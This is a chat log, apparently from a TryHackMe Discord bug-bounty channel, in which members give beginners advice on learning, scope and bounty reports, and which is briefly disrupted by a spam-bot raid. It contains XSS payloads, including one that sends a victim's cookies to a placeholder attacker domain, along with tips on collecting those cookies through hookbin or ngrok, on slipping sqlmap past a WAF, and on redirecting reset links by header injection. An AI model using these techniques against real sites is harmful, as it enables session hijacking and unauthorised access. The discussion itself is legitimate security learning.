bug-bounty

[lean trail]

Can anyone guide me

how can i start bug bounty?

[native token]

look into the pinned posts in this channel

[lean trail]

okay

[last elm]

Hi chat I found this endpoint called Jenkins file and here is the content ...
Is this consider a sensitive info / how to exploit it

[desert wadi]

fk

[dark badge]

what rooms can i do to prepare myself for bug bounties?

web rooms?

oh nvm its pinned

[brisk stream]

How much time do you spend on enumeration/scanning before moving on to testing? Do you wait until you find something juicy or do you scan for a set amount of time and then look over the results?

[native token]

Enumeration should be constant, unless the scope is massive you don’t tend to have to scan

But everyone is different, and over time you get a gauge on how long you like to spend on that part

[west acorn]

Hello ..... I need some instraction .. I searched on youtube and watched a lot videos on the topic but didn't understand how to solve the task........https://tryhackme.com/room/owasptop10 ............................. Task 16 Q: Where is falcon's SSH key located?... I copied the answer so that i can complete the task..... But What happed here ... How can i found Where is falcon's SSH key located? using xxe .... i used command "locate .ssh" insted of using file name but nothing happed I am a newbie.............Pls help me what payload i need to find out the .ssh file .... I am a n00b

[soft ermine]

#room-hints or #room-help to ask for help with specific rooms. This channel is for bug bounty programs

[west acorn]

okh

[twilit girder]

Hey guys, I need some help with an XSS
So the website am trying currently is encoding > ' "
Its using .NET and the payload am using is BATMAN">＜img src=x onerror=alert(document.domain) />

However, in some places, < = : are allowed

[twilit girder]

Any Request Validation bypass ?

[solemn radish]

algum br?

[vocal folio]

Please keep all conversation in English in this discord

[hardy kraken]

yes

[past hatch]

Practise web app https://twitter.com/rafinrahmanchy/status/1179366469093777412?s=19

Rafin Rahman Chy (@rafinrahmanchy)

Dummy Web Apps to Practice Web Pentesting
Local host :

• OWASP Juice Shop
• bWAPP
• WebGoat
• OWASP Mutillidae II
• DVWA
  Remote host :
• PortSwigger Vulnerability Labs ( https://t.co/OgymoCRjkU )
• Hacksplaining ( https://t.co/3wmuWQaaBb )
  #WebSecurity #Pentesting #BugBounty

Twitter · Oct 2, 2019, 12:04 PM

[velvet ember]

this is what u mentioned in general drago>>/

[past hatch]

Yeah,I meant u were asking for web app practice platform

[velvet ember]

ah..! noted | thanks for the resource

[fallen palm]

https://tenor.com/view/martin-wallstrom-martin-wallström-tyrell-tyrell-wellick-gif-20192229

[molten raven]

I submitted no rate limit bug in password reset page. It leads to send as many mails an attacker wants to the victim, leads to email bombing or dos. I saw many reports which are considered and rewarded bounty. My report is marked N/A

Why it happens like these

The reports are 100% similar

[native token]

Bug bounty goes off of impact

It isn't a pentest so stuff like that wouldn't be deemed as a valid bug. A lot of scopes will define that

Every program is unique and so is their scope so make sure you are familiar with it otherwise it leads to those N/A vulns

[fallen palm]

Can I get some assistance with a Hackerone report? Don't worry, it's not a private program.

[spare cairn]

Read the program Out Of Scope , you would get it .

[west acorn]

can anyone help me ? By saying that some resources to learn xss advanced

topic

[past hatch]

Check portswigger academy xss lab ,total 30 and there research material is also good.

[fallen palm]

Aye!

How can I start in bug bounty? I mean do I need some certs to start my journey in bug bounty?

[rough creek]

Check pinned messages. They will help you out

[fallen palm]

thanks

[uneven gale]

Gave +1 Rep to @rough creek

[vocal folio]

I mean do I need some certs to start my journey in bug bounty? No. Certs are for HR when applying for actual jobs.
The knowledge gained might help you but having a cert doesn't exactly have value for bug bounty.

[chrome venture]

wapt v3 or web hacker handbook?

[west acorn]

can i dm you?

[past hatch]

ping me in #general instead

[limber flax]

god not the spam again please

[valid minnow]

lol mass ping

[fallen palm]

@narrow onyxd

[sharp musk]

bruh

[limber flax]

i will cry

[fallen palm]

oops

[little veldt]

yikes

[icy obsidian]

lol

oh my

[quartz loom]

amm ?

[zealous stream]

LOL

[worthy perch]

Lmaoooo

[icy obsidian]

wow you're such a hacker

[harsh orchid]

wtf

again?

[worthy perch]

NOW HERE???

[flint island]

ummm...

[worthy perch]

ARE TIU SERIOUS

[zinc flame]

Wtf

[wraith root]

what

[regal cypress]

wat

[fallen palm]

@lone ginkgo @uneven cedar are the bots

[wraith root]

why have I been summoned

[valid minnow]

why spam i this server lmao makes no sense

[sour yoke]

that's a fast response from the mods 😄

[regal cypress]

STOP

[worthy perch]

Bruh

[quartz loom]

ammm

[fallen palm]

oh a lot more

[little veldt]

@worldly hull

[wraith root]

bruh

[quartz loom]

okey dude

[sand wagon]

i cri erri tiem

[worthy perch]

I can’t believe thus

[crystal tulip]

🤡

[hidden parrot]

lol

[regal cypress]

@drifting laurel @near ibex are spam bots too ban them

[worthy perch]

[young leaf]

-ban 846572623696756736

[uneven gale]

Unable to run the command: A reason has been set to be required for this command by the server admins, see help for more info.

[dreamy knoll]

another one of these :/

[wraith root]

I feel sorry for some people the dedicate time to do this

[sand wagon]

SeVeRaL PeOpLe ArE tYpInG

[pliant skiff]

@near ibex what are you doing my guy

[modest badge]

ping time

[fallen palm]

ooo its john hammond

[young leaf]

I’m sleeping. Annoying ass raids

[wraith root]

BAN

pls

[regal cypress]

@hot nexus @smoky ermine are bots

[woven violet]

Geez

[dark moth]

kindly fuck off ty

[tall temple]

Disable mentions for a bit

[wraith root]

bro

[sand wagon]

https://c.tenor.com/_aCMFjsf6_gAAAAM/how-could-this-happen-to-me-i-made-my-mistakes.gif

[cobalt belfry]

ugh what a fun time

[tender bloom]

Who is tagging me?

[young leaf]

I’m on mobile

[regal cypress]

@mortal cliff is bot

[austere depot]

[hasty ember]

yeah who

[dreamy knoll]

bot raids :/

[cobalt belfry]

bots are spamming

[wraith root]

they keep leaving

[hasty ember]

someone tagging me

[river elm]

more haid, i guess

[fallen palm]

cant disable mentioning specific users

[young leaf]

Haha GOT NOWHERE TO RUNNNN THE NIGHT GOESS ONNNNN

[regal cypress]

Im trying to say who all the bots are that i see

[old sedge]

[soft ermine]

JohnHammond posting.... at the same time we get raided. Coincidence? 🤔

[daring kraken]

come at me bro

[sand wagon]

WE CAN ONLY FIGHT BACK WIRH MEME GIFS

[regal cypress]

oh hey its john hammond nice

[buoyant dome]

Let’s go John we got this!!!

[young leaf]

Goodnight bois/girls

[hybrid orchid]

@young leaf you have right click ban perms back

[buoyant dome]

https://tenor.com/view/cat-computer-typing-fast-gif-5368357

[hybrid orchid]

Kill

[ruby skiff]

Erm

Hello

[young leaf]

Perfect

Thank you

[ruby skiff]

Muiri

Get em

[regal cypress]

see what invite the bots used and ban the user who created it if its not a public one?

[ruby skiff]

Doesn't work that way

[young leaf]

Wish it was that simple ^^

[flint island]

Oh my, in the presence of hacking royalty here... 🤣

[hybrid orchid]

We have a vanity URL...

[regal cypress]

(public meaning used to advertise the server)

ah

they could have still used a custom invite link though

[frail copper]

who pinged me ?

[regal cypress]

bots

[ruby skiff]

Bots

[frail copper]

oh

[nocturne stratus]

is there a snipe command?

,snipe

[regal cypress]

.snipe

[ruby skiff]

No

[fallow vapor]

who pinged

[frail copper]

spencer

[left patio]

its autodelete

• undelete

[ruby skiff]

@fallow vapor bots.

[fallow vapor]

aah

[ruby skiff]

Apologies

[left patio]

party 🥳

[fallen palm]

party indeed... ping

[nocturne stratus]

Add a bot that can snipe messages

or you can add this code to the thm bot

https://stackoverflow.com/questions/63225137/discord-js-making-a-message-sniper-command

[fallen palm]

The bot is written in JS?

[left patio]

nope, discord.py

[left patio]

yag already has

[calm agate]

make a PR 🙂 https://github.com/thm-community/thm-discord-bot

[fallen palm]

So then that SO link is utterly useless lol

[regal cypress]

oh its open source

i might take a look at that and contribute

[left patio]

i did no response

waiting for pr to be talked about

[fallen palm]

What's this bot's prefix?

[regal cypress]

which bot? TryHackMe or yag?

[fallen palm]

THM

[calm agate]

check out #bot-commands

[fallen palm]

or w/e one has the snipe command

[left patio]

it kinds differs

[fallen palm]

ah ok

[regal cypress]

i would assume ! based on the status

[left patio]

yag has undelete

and its -

but its only for mods

[hybrid orchid]

What PR?

And yeah, I'm adding in some raid protections ASAP

[regal cypress]

if a user pings more than x people in a message delete it and mute the user, along with logging their name?

[left patio]

https://github.com/thm-community/thm-discord-bot/pull/199

wait am minute

[hybrid orchid]

Yag already does that. It outright bans them

[regal cypress]

ah

[left patio]

i messed it up

one second

it doesnt wanna register my commit huhh

[hybrid orchid]

@left patio ah, that one. Pretty sure the bot doesn't have manage channel perms. Do us a favour and add archiving / deletion stuff as well? Then can look at adding the perm for it

[left patio]

yeah :D

also it seems my commit went poof

wut

(explain what you mean more btw thanks)

[hybrid orchid]

No point in just adding an endless stream of channels -- adding the channel takes no time at all, it's archiving it that's a pain

[soft ermine]

Lemme know if you want help

[left patio]

ahh i see

[hybrid orchid]

#release-help-archives

[left patio]

yeah yeah

would have to up an api for the archive thing first, its the discord archiver right?

[hybrid orchid]

I always back up the channel before deleting -- if that can be automated it saves a lot of time

[left patio]

yeah

[hybrid orchid]

Aye. You also have to make sure there are no false room releases though (i.e. check that the channel doesn't already exist)

[left patio]

which archiver you using?

[hybrid orchid]

The bot often announces things erroneously, which wouldn't end well with that commit as it stands

[left patio]

hmm.

[hybrid orchid]

The c# one. There is a Python port though

[left patio]

https://github.com/Tyrrrz/DiscordChatExporter

?

[hybrid orchid]

Not a clue. There's a link in the channel I just gave you access to

[left patio]

so many channels, which one 👀

oh nvm

[hybrid orchid]

Right, I am going back to sleep. I need to be up early

[left patio]

so many categories so many channels :P

[soft ermine]

sleep well muiri. 😴

[left patio]

o im greenish now

gn muir :D

[vestal pawn]

🏓

[sick ember]

Who dare summon thy?!

[worthy perch]

god

[regal cypress]

bots

[vapid breach]

[jaunty radish]

[fallen palm]

Where's my fellow Bug Bounty Hunters?

[fallen palm]

What's this?

[runic topaz]

Well it was supposed to be a gif

But it manifested in discord as a link

I'll delete it

[hybrid orchid]

@languid oyster a few things:
A) believe it or not, that is actually against the rules. You haven't read the ToS apparently, so, well done there... targeting users is frowned upon
B) blocking ssh from the firewall would thoroughly break stuff like reverse SSH forwards, wouldn't it?
C) we tell people connecting that there is a risk, and to not be idiots with their security. Anything beyond that is up to them, and us site banning any idiots we catch in the logs trying to attack people
D) that isn't a 0day -- it's common sense networking.

There is nothing we can do to stop that without breaking stuff.

[thorny rover]

Hi

I found clickjacking in Tryhackme website

[fallen palm]

Ig that is OOS

[thorny rover]

What is OOS

[rough creek]

out of scope

[thorny rover]

ok

🙂

[thorny rover]

ok

thank you

[thorny rover]

in Tryhackme only or all web

[rough creek]

in THM

[thorny rover]

ok

thank you

[lavish hollow]

Please make sure you understand our scope because violating it will get you in trouble!

[thorny rover]

ok

[ebon moon]

Any place where beginners can earn bug bounty? Cause bugcrowd has some limitations sometimes. Like you should have reported twice before this and all...

[fallen palm]

for a bug bounty hunter what language would be more favorable, python or bash ?

[past hatch]

For automation python,bash (tho i have seen people using ruby also for exploit writing),js to understand web app working,xss

[fallen palm]

Python and Bash sounds easier. Ruby will have to wait

[past hatch]

Those 2 will work just fine,ruby u can learn later (if u want to)

[fallen palm]

That's what I'm going to do

[foggy pond]

Hi guys I want to ask about bug bounty, I often encounter problems if there is a website that is vulnerable to sqli when doing fuzzing to determine whether the website is really vulnerable it doesn't trigger the waf at all and when I do further exploits using sqlmap it is detected by sqlmap. My question is how to determine the suitable tamper to bypass the waf? take for example immunify360

can anyone help me

[past hatch]

If u see its protected by services like cloudflare then sqlmap will be blocked sure the only way is to test manually often encoding payload if its blocked or see waf bypasses for a particular service

[foggy pond]

Meaning I have to manually test before using sqlmap? like testing what keywords are blocked by the waf then when you get it, all you have to do is look for the tamper that matches it?

Sometimes I also look for references for certain waf bypass but there are some waf services that have no reference

[past hatch]

See wappalyzer if it isnt protected by cloudflare,akamai or other well know service ,try sqlmap on parameters (go for subdomains they aren't heavily protected) else test manually what payloads r blocked and what not

[foggy pond]

Ok thanks for answer i got it

[uneven gale]

Gave +1 Rep to @past hatch

[native token]

Bug bounty isn’t beginner friendly, just pick another program if the one you’re looking at is limited. Hackerone has a lot of public programs too

[ebon moon]

Cool! Thanks

[uneven gale]

Gave +1 Rep to @native token

[native token]

You can get pretty far with just bash and in some rare cases python. You don’t really need any scripting for bounty unless you’re pulling out 0days

[fluid hinge]

Scripting is useful for making PoC's. Most programs/companies will want one. I usually do them in python

[chrome venture]

Tell me OWASP testing guide 4.2 is good for bug bounty ?

I mean good for learning?

@past hatch

[chrome venture]

Kindly answer to this

[still jasper]

@chrome venture Yes OWASP is good for bug bounty

[native token]

If you're referring to OWASP WSTG then be careful as that is oriented around web pentesting

so many of the vulns it may say are vulns. Won't be accepted by a bounty program

e.g best practice for headers/cookies

[fallen palm]

Interesting! I will give bash a try instead! Thank you

[fallen palm]

I got scammed

Found an html parameter pollution issue that allowed me to hijack sessions and execute arbitrary code. I submit it to the company, and they wouldn’t pay me and patched the issue anyways :(

Waiting to hear back from Hackerone

[past hatch]

Was it a VDP if so then they dont pay,and if its a BBP whose pays r already mentioned in policy then email hackerone related the issue

[fallen palm]

It was a BBP and I already emailed hackerone

I’m just whining

[fallen palm]

Thanks anyways!

[uneven gale]

Gave +1 Rep to @past hatch

[fallen palm]

Yo you also bug bound ?

[past hatch]

don't actively but i do just for fun and learning

[fallen palm]

Awesome sauce. Didn't know you did.

[fallen palm]

Anyone know a good automation tool for IDORs?(SOLVED, I found a video)

[fallen palm]

https://youtu.be/HQUxXE1oaIE

[past hatch]

Authz,autorepeater,authmatrix,autorize all available in burp app store, also firefox container is best to test without destroying session of user😄

[native token]

Burp suite is king as always:
Credit STOK
https://www.youtube.com/watch?v=3K1-a7dnA60

[fallen palm]

Thank you for this!

[uneven gale]

Gave +1 Rep to @native token

[main ingot]

Forgot to say thank you @dusky yew ,for your help with my keyboard config file

[uneven gale]

Gave +1 Rep to @dusky yew

[fallen palm]

My god! the best video ever suggested !!! this is great!

[gray trail]

Guys I got a reflected xss using the payload as "onmouseover=alert(0)" as < and some other tags are blocked.
Can anyone help me to create a payload which steals cookies just like the payloads we have on XSS hunter? Or can share any material from where i can learn this?

[past hatch]

Check last labs of portswigger academy (xss labs) it covers lab to exploit xss further more

[gray trail]

Thanks, I think this will work "onmouseover="location='your_domain'+document.cookie" z=

[uneven gale]

Gave +1 Rep to @past hatch

[past hatch]

Yes it will work then u can capture cookies in ur server log by seeing that GET request

[gray trail]

Yup, I just need a public ip server. i was hoping I could test it with THM Openvpn but my payment got stuck lol

[past hatch]

Haha why dont u try portswigger's lab exploit server,some labs got exploit server and they also have log option

[gray trail]

Oh I didn't knew this.

[past hatch]

@gray trail else with axiom first get public ip then start server on ur machine with python ,now u can trace any request

[gray trail]

Thanks, I will take a look. I am just knew to all this.

[uneven gale]

Gave +1 Rep to @past hatch

[past hatch]

@gray trail https://youtu.be/z2XmaQxTJ0M

[fallen palm]

Can ngrok solve your issue?

[gray trail]

I was following this https://github.com/s0wr0b1ndef/WebHacking101/blob/master/xss-reflected-steal-cookie.md

[gray trail]

I have this as well. Sometime I do THM and sometimes PentesterLab

[past hatch]

@gray trail take look on it ,stok run a server and get a public ip with axiom

[gray trail]

Ok 🙂

[native token]

Failing that use hookbin https://hookbin.com/

it will generate you a url and log any extension given so ?c+document.cookie would return the cookies as you specify

ngrok would also work by hosting a httpserver using python and then doing ngrok http <port number>

failing that ngrok tcp <port>

[gray trail]

Thanks I will keep this in my notes for next time. Although used the Digital Ocean droplets and the script mentioned in https://github.com/s0wr0b1ndef/WebHacking101/blob/master/xss-reflected-steal-cookie.md

[uneven gale]

Gave +1 Rep to @native token

[gray trail]

And it worked fine 🙂

[still jasper]

todayisnew reached 100K rep on H1 and they are holding a CTF which was made by adamtlangley (One of the staff here at THM)
Winners will receive a $100 - Ends on June 7
https://hackerone.com/h1-ctf?type=team

[main ingot]

that guy is a hacking machine

[noble latch]

Good Evening Guys. I'm A Beginner In Cybersecurity, And I'm Looking For A Start Into Bug Bounties. I'll Be Glad To Get Any Pointer To Where I Might Start 🙏 Thank You In Advance

[rough creek]

Check the pinned messages. They give you a lof of information. Happy hacking

[native token]

Best pointer anyone can give is don’t go into bug bounties yet.. as a beginner you’ll make nothing, get demotivated and potentially breach policy.
Try starting out in tryhackme and portswigger, gain an understanding of common web vulns in owasp top 10 and develop your understanding from there

[noble latch]

@native token Thank You Mate, Much Appreciated 🙏

[uneven gale]

Gave +1 Rep to @native token

[toxic robin]

Guys I want to start bug bounty can anybody share some tips and a roadmaps

[past hatch]

@toxic robin ^

[toxic robin]

Thanks @past hatch

[uneven gale]

Gave +1 Rep to @past hatch

[hearty warren]

anyone wanna colabo on a website?

[fierce umbra]

who can i dm about a bug bounty im doing

i have a question about something ive done

[native token]

[low crest]

is it regarding the reason why sites were down -?

[fierce umbra]

nah

[past hatch]

Dropped the table? jk

[fallen palm]

which one?

[fallen palm]

Sure

[past hatch]

@lavish hollow ^

[lavish hollow]

-ban 714906521355419679 Steam scamming links

[uneven gale]

🔨 Banned 714906521355419679 indefinitely

[wide leaf]

damn it Jabba ur too quick

[low crest]

rabbits are phast

[fallen palm]

So I've been solving machines on TryHackMe and have solved a few machines on HackTheBox. I want to kind of get started into WebAppSec or whatever BugBounty stuff. Also I know Python and basics of some other languages. What would u suggest ?

[past hatch]

start with portswigger academy

[fallen palm]

Ohkay

Also do u suggest learning some JS and PHP from codeacademy ?

Or any other resource u would suggest for that ?

[past hatch]

js,sql from sololearn

[fallen palm]

Ohkay

U mean SQL ig

Thanks :)

[past hatch]

np 🙂

[fallen palm]

who wants to collaborate with me for search vulnerabilities?

I got bounted 1 time by riot:

[odd laurel]

Happy Sunday all!
Where might I ask a question about the TryHackMe Reddit?

[lavish hollow]

Depends, what is the question? @odd laurel

[odd laurel]

Just wondering the criteria for the 'Approved Streamer' badge there..

[lavish hollow]

You have to be an active streamer generally, not sure of the follower count but @merry plume or @prisma axle should be able to help you further in #general

[odd laurel]

OK. 1k+ followers. THM almost daily since January. Under the THM game category since it came out. (I was live when that happened and changed it on the spot 🙂 )

I'm guessing your ping will get their attention. Thank you @lavish hollow

[uneven gale]

Gave +1 Rep to @lavish hollow

[prisma axle]

If you send us a mod message on there we can help you further and give you the flair

[odd laurel]

Awesome! Thank you @prisma axle!

[uneven gale]

Gave +1 Rep to @prisma axle

[wispy notch]

Awesome! Thank you @wispy notch

Nothing???

LOL

It was just a testing....

[fallen palm]

xdddd

[full pewter]

Hi

[gray trail]

Anyone have some experience reporting issue to MSRC?

I don’t know what they are smoking when reproducing the issues.

[ivory siren]

anyone ever done any bug bounty on synack?

[prisma ermine]

hey

<div>{myinput}</div>

how can i bypass html entities

for trigger xss

[sage plume]

I'm not

[robust compass]

interesting

[molten raven]

Hello @past hatch I added $.get('http://sakurity.com/jqueryxss') in console and domain popped up

[native token]

Putting stuff into the console isn't a vulnerability

[molten raven]

The website is using jQuery version 2.1.4 how to exploit it further or can I report it like this

[molten raven]

How to exploit it

[native token]

It would only be a vulnerability if you can get the XSS to fire when you submit data to the website in the form of inputs

I have no clue off the top of my head.

You'd have to look at which parts of jQuery are susceptible to XSS and check to see whether or not the website is using those vulnerable parts in order to create your payload

[molten raven]

I found that the website is using jQuery version 2.1.4 and I got the following vulnerabilities for that version

[past hatch]

+1

[molten raven]

Before my report getting closed as Out of scope I need to show them impact

Any suggestions??

[native token]

You don't have a vulnerability mate

putting something in console isn't a problem

Holy moly I got XSS on google

[past hatch]

@molten raven its an example of xss

u put input in field

[molten raven]

Oh..ok

[past hatch]

tho its also self xss bz i had to provide input in input field ,but i can combine it with csrf

[molten raven]

Then I have a doubt, how was that version vulnerable then?

jQuery

[molten raven]

This one??

[native token]

jQuery is a javascript library

that will have certain components vulnerable to XSS

The only way it is vulnerable in your instance is if the page is passing user submitted/controlled data through one of these components

In the case of bug bounty, this isn't deemed a vulnerability unless you can show a working XSS proof of concept

in a penetration test it's a low without poc and up to a high if exploitable

[molten raven]

Ok thanks for the explanation

[past hatch]

self xss:- xss pop when u enter code in cosole,xss pop after giving input in field,requiring user interaction (not through url parameter)

[molten raven]

Thanks a lot @native token and @past hatch for clarifying everything

[uneven gale]

Gave +1 Rep to @native token

[fallen palm]

THM community has decided to grant you the Bug Hunter badge... Congratulations 🥳🎉

[native token]

?

[fallen palm]

For this bug

[molten raven]

I am sorry @past hatch for continuously tagging you. One last thing, the jQuery version is vulnerable to prototype pollution attack thorough $.extend

I read somewhere that it can be exploited to RCE but I didn't found any method. If you have an idea on this could you help me how to make more impact so that report gets considered

[paper drift]

XD omg

[native token]

What?

[blissful egret]

@past hatch Hey need little help there is smtp server i can use HELO and MAIL FROM command have not done username enumeration yet. what should i do now to improve the impact..

[native token]

First question you need to ask is, are services outside of the web apps in scope

[blissful egret]

no it si not

[native token]

don't waste your time then

HELO is a standard function of almost all SMTP servers

[blissful egret]

i should skip it and username enumeration should i do that or leave it

[native token]

leave it..

it isn't in scope

[blissful egret]

great

[native token]

and you will be in breach of their policy if you test it

[blissful egret]

Oh Damn

[native token]

bug bounty isn't scan and test every port

[blissful egret]

it is about impact

that is why i came here

[native token]

but it isn't in scope

the main thing with bug bounty

READ THE DAMN SCOPE

[past hatch]

Well procced according to program policy

[blissful egret]

Ok Master

[brisk cypress]

[orchid magnet]

Hello

How I can Do bug bounty by Mobile phones

[past hatch]

doing it on phone is pain,but if u still want then try PentestSuite https://twitter.com/guhao95518074/status/1399546625752809473 https://pentestsuite.blogspot.com/2021/06/attack-dvwa-weak-session-ids.html

[orchid magnet]

Okk

Thanks you

[orchid magnet]

Other resources for bug bounty by mobile

[maiden raven]

Hey, I'm thinking about moving my web hacking box to the cloud. Is that even a good idea? What service should I use?

I've been trying with AWS but the service has been difficult to use and there is a whole mess of proprietary OS garbage to get through. At least that's what it felt like to me. I'm not an AWS ninja like some.

[swift grotto]

Consider ephemeral boxes you spin up as you need them. AWS, Azure and Digital Ocean all charge using time based billing, so you can control what and when compute runs. And all support CLI based deployments, so you can easily script it.

[agile maple]

hi

for THM, is there any machine i can learn about laravel vuln?

[fallen palm]

I've searched for it too, apparently it's not there

[tacit cedar]

hi

i need help

i want to start hacking but i dont know how or where to start.

can someone teach me

[fallen palm]

#start-here

[crimson bear]

Question: does the Web Fundamentals room help prepare well for bug bounty hunting on a regular basis?

[sour ocean]

yes

[fallen palm]

Hi, I would recommend you to go for the THM Beginner's Path.
it will help you a lot

[fallen palm]

well, it gives you an intro to common vulnerabilities and ways to exploit them, how to use common tools. in fact it gives you what web app Hacking looks like,which can get you into Bug Bounties

[whole tide]

Afterwards portswigger academy to exercise what you learn

[fallen palm]

This will help u very much in bug bounty
https://www.stokfredrik.com/bugbountytraining

[tacit grove]

Hey sry to interrupt you all but can anyone tell me here that which bugs can I find on Android as I don't have lappy so??

[uncut bear]

thanks man this is very helpful

[uneven gale]

Gave +1 Rep to @dense cloak

[fallen palm]

You can do a Android bug hunting courses from YouTube, or something, There a free udemy course on Android bug hunting by Uncle Rat, u can check it out!
https://www.udemy.com/share/104kpEBUAScltbRXo=/

[tacit grove]

Thanks buddy for your help!

[uneven gale]

Gave +1 Rep to @dense cloak

[lethal bloom]

can we directly start finding bug in public bug bounty program without permission

aor we have to take any permissions

[molten raven]

if the program is in Hackerone or Bugcrowd and if it's public then you can create your submission and submit it

[lethal bloom]

for finding a bug can we have to take permission

on bugcrowd or hackerone

[molten raven]

As it's public there will be no written permission. But you should follow the Program Rules and Policy before hunting. After finding a bug, make a clean report and submit it

[lethal bloom]

Okkkk Thanks @molten raven

[uneven gale]

Gave +1 Rep to @molten raven

[molten raven]

🙂

[molten raven]

I confirmed that a website is using Lodash version 4.17.19 which is vulnerable to Command injection via template. Here is the synk report https://snyk.io/vuln/SNYK-JS-LODASH-1040724 . How can we show impact to website so that our report get's considered

[molten raven]

@native token @young leaf could you please help

How can we exploit it further, it's a domain.

[young spoke]

You've pinged a good 6 other people man

[molten raven]

Yes. But I didn't get required method. So trying to reach out others

[lavish hollow]

@small mango Hey can you provide context before dropping random IPs in chat :)

[small mango]

its just XXS challenge

[lavish hollow]

Who’s challenge? Is it a public CTF? Is it on-going (active)?

[fast fable]

Just be patient, we're all volunteers here 🙂

[fallow sable]

Hey
Anyone who knows how to decode playload

?

[fallen palm]

playload???

[agile maple]

😋

[fallow sable]

I got the solution

[fallen palm]

that's great, Keep it up

[fallow sable]

Any one who can help in pentesting

[hybrid orchid]

If you're wanting help with a pentest then I'd suggest you talk to a colleague under the same NDA as you

If you're in this yourself and do not have a colleague under the same NDA as you, I would suggest working for someone else until you're comfortable enough with pentesting to not need to ask the internet for help

[fluid parrot]

@hybrid orchid is right

[hybrid orchid]

... thank you for that ping and affirmation

[fluid parrot]

Mine pleasure

How's your day @hybrid orchid

[native token]

😬

[tough garnet]

[limpid oak]

eyo is it possible to find xss as an absolute beginner in the spam of 1 month?

[lavish hollow]

Depends on your dedication I guess, but also which programs you are on.

[limpid oak]

searching on h1 programs

or bugcrow

d

[native token]

Honestly as a beginner I'd advise you avoid bug bounty

Just learn what you can about web app testing until you feel like you understand the common bugs you may encounter. Pinned posts have a good guideline to follow and then once you feel you are extremely well versed try find a program

[unborn drift]

is there a way to automate xss bug bounties? I've been experimenting with tools like XSpear but they are not finding anything

[quasi pivot]

Everybody and there dog looks for XSS, why not try something else? If you can automate it somebody already is, meaning they'll get it before you.

[unborn drift]

Well yeah but it's the most common bug

[quasi pivot]

It's fine if you want to hunt XSS, but it's going to get frustrating quickly as like I said everybody is looking for this. You'll find less and make less.
You're better off learning either more obscure or other attack vectors and searching for those.
@past hatch wanna confirm?

[past hatch]

@unborn drift as magna already mentioned xss is way more common bug,,if u found one chances of getting duplicate are very high,,i will suggest to look for business logic vuln,open redirect,csrf,sqli,ssrf,accoun take overs,broken access control

[quasi pivot]

Always wanted to find a SSRF

[past hatch]

Ssrf are always tricky,very few chances u will find url parameter in request,one way to widen attack surface is to use waybackurl,gau (to extract more url for that domain)

[dark cloud]

Hi every one!
I new to bug bounty, which bug-bounty websites would u recommend...??

[fallow sable]

Bugcrowd

[tiny rivet]

hackerone

[past hatch]

I think u replied to wrong msg

[tiny rivet]

🤦
So Sorry

I have a question

[unborn drift]

I use hackerone but both are good and open programs

[dark cloud]

@fallow sable @tiny rivet
considered🙏🙏

[bold palm]

Thanks for these resource I have been looking for stuff like this. Super stoked to dive in, awesome

[uneven gale]

Gave +1 Rep to @dense cloak

[fallen palm]

Hello

i wanted to ask you guys something

What do I need to find bugs and be a bug hunter

?

[young spoke]

!docs bug-bounty

[marsh falcon]

TryHackMe

Learn about TryHackMe's Bug Bounty Programme!

https://help.tryhackme.com/miscellaneous/the-bug-bounty-programme

From TryHackMe with ❤!

[young spoke]

if you're interested @fallen palm

[fallen palm]

oh thanjs

[vocal folio]

(that's specifically THM's bug bounty program)

[fallen palm]

thanks*

[fallen palm]

What's the meaning of THM?

oh

ok

[vocal folio]

TryHackMe, the discord you're in. It's a site for learning cybersec.

[fallen palm]

i know it

yep thanks

@vocal folio sorry, Just wanted to ask you

if i learned CEH V10 will i be able to find bugs?

[vocal folio]

CEH is not a good cert.

[round hearth]

CEH ir more theorical concepts in cybersec @fallen palm

Recommends to you to start with ejpt to improve offsec skills

[fallen palm]

@round hearth its not a prop for me if it will make me able to find bugs

[vocal folio]

CEH is only valuable in India.

[fallen palm]

will it

?

[vocal folio]

Bug Bounty is also not reliable income.

[past hatch]

Cert doing and bug finding are two different things

[fallen palm]

cert means certification?

[round hearth]

Yes

[fallen palm]

i dont want to be an income for me but i just wanna learn it

thank you guys

i really appreciate it

[grand pewter]

How long does it usually take to complete a bounty?

Like, 1 month average for someone with semi-advance skill set?

[past hatch]

It depends on person and his skill,some may take a 5 months,other a year,,Speaking of me i took 3 months to get my first paid bug,,Bug bounty is about methodology,,identify what u r good at and keep improving.

[grand pewter]

Ah, makes sense why it wouldnt be a good main income source.

[tardy bluff]

What was your first bug?

[vocal folio]

It's not reliable at all

In countries with low cost of living where a bounty will pay for a couple months rent or whatever, it's a little more feasible. But remember you're competing with those people too.

[past hatch]

I wont say to do for money,,do for learning instead.

[grand pewter]

Im in the US -- the $50 reddit bounty def aint livable for me lol

[past hatch]

open redirect and xss

[grand pewter]

I struggle with xss -- understanding it better everyday but never saw any results so far

[past hatch]

Well xss is common bug and truth to be told if u found one chances of getting duplicate is more.

[past hatch]

Do those portswigger xss labs ,30 total labs and good reading material.

[grand pewter]

I manage to get a server to show part of it's sql code by accident once lol.

Mistyped my password on the login screen as dumb as it sounds

[fallen palm]

What did you learn to do it?

[past hatch]

I started with THM's web fundamental path (cleared the basics) then moved to Portswigger,finished more than 50% labs topic wise,,then reading bug reports to work on methodology and applied what i learned to targets.

[fallen palm]

nice

thanks for the help

[shadow gyro]

I'm a blue teamer that has little to no understanding of this type of thing, but I figured someone out here could possibly help me out.

I've found a website that emails passwords in plain text after an account is created, and was curious if that's the type of thing you could typically find/claim a bounty for? And how would someone go about doing such a thing?

[native token]

Maybe if you have a way of intercepting and obtaining the password

[past hatch]

Well it depends on how website handle request,,when it comes to account takeover i check for certain things,is there rate limiting on login form,if no easy bruteforce,,no csrf placed on email change,header injection on while requesting forget password,, parameters in submitting password change request.

[hybrid orchid]

Definitely something you'd raise in a pentest. Wouldn't mean much in bb unless you could intercept them.
Emailing the passwords in plaintext indicates that they're likely also stored in plaintext (only way this isn't the case is if the email is sent before the plaintext password leaves the context of the signup form, which would be poor practice), which is really serious -- just not something you'd really claim a bug bounty for.

[hybrid orchid]

How does that have any relevance to passwords being sent in plaintext..?

[mint coral]

Relying solely on bug bounty isn’t a smart move.. but on the side is a great move

[past hatch]

Analyse the request that sent password to email,,try Header injections,see if u can make request go on ur controlled domain.

[hybrid orchid]

Now you're just spouting buzz words

Are you meaning try to redirect the email to your own address? For which you'd also need a CSRF.

[past hatch]

Nope,not redirecting email,, say if u receive email mentioning link https://domain.com/account?email=value&password=value ,, via header injection(if vuln.) the email receive will have https://controlled.com/account?email=value&password=value ,,, leading to send a Get request to controlled.com with parameters value.

[hybrid orchid]

That's... not what they're talking about

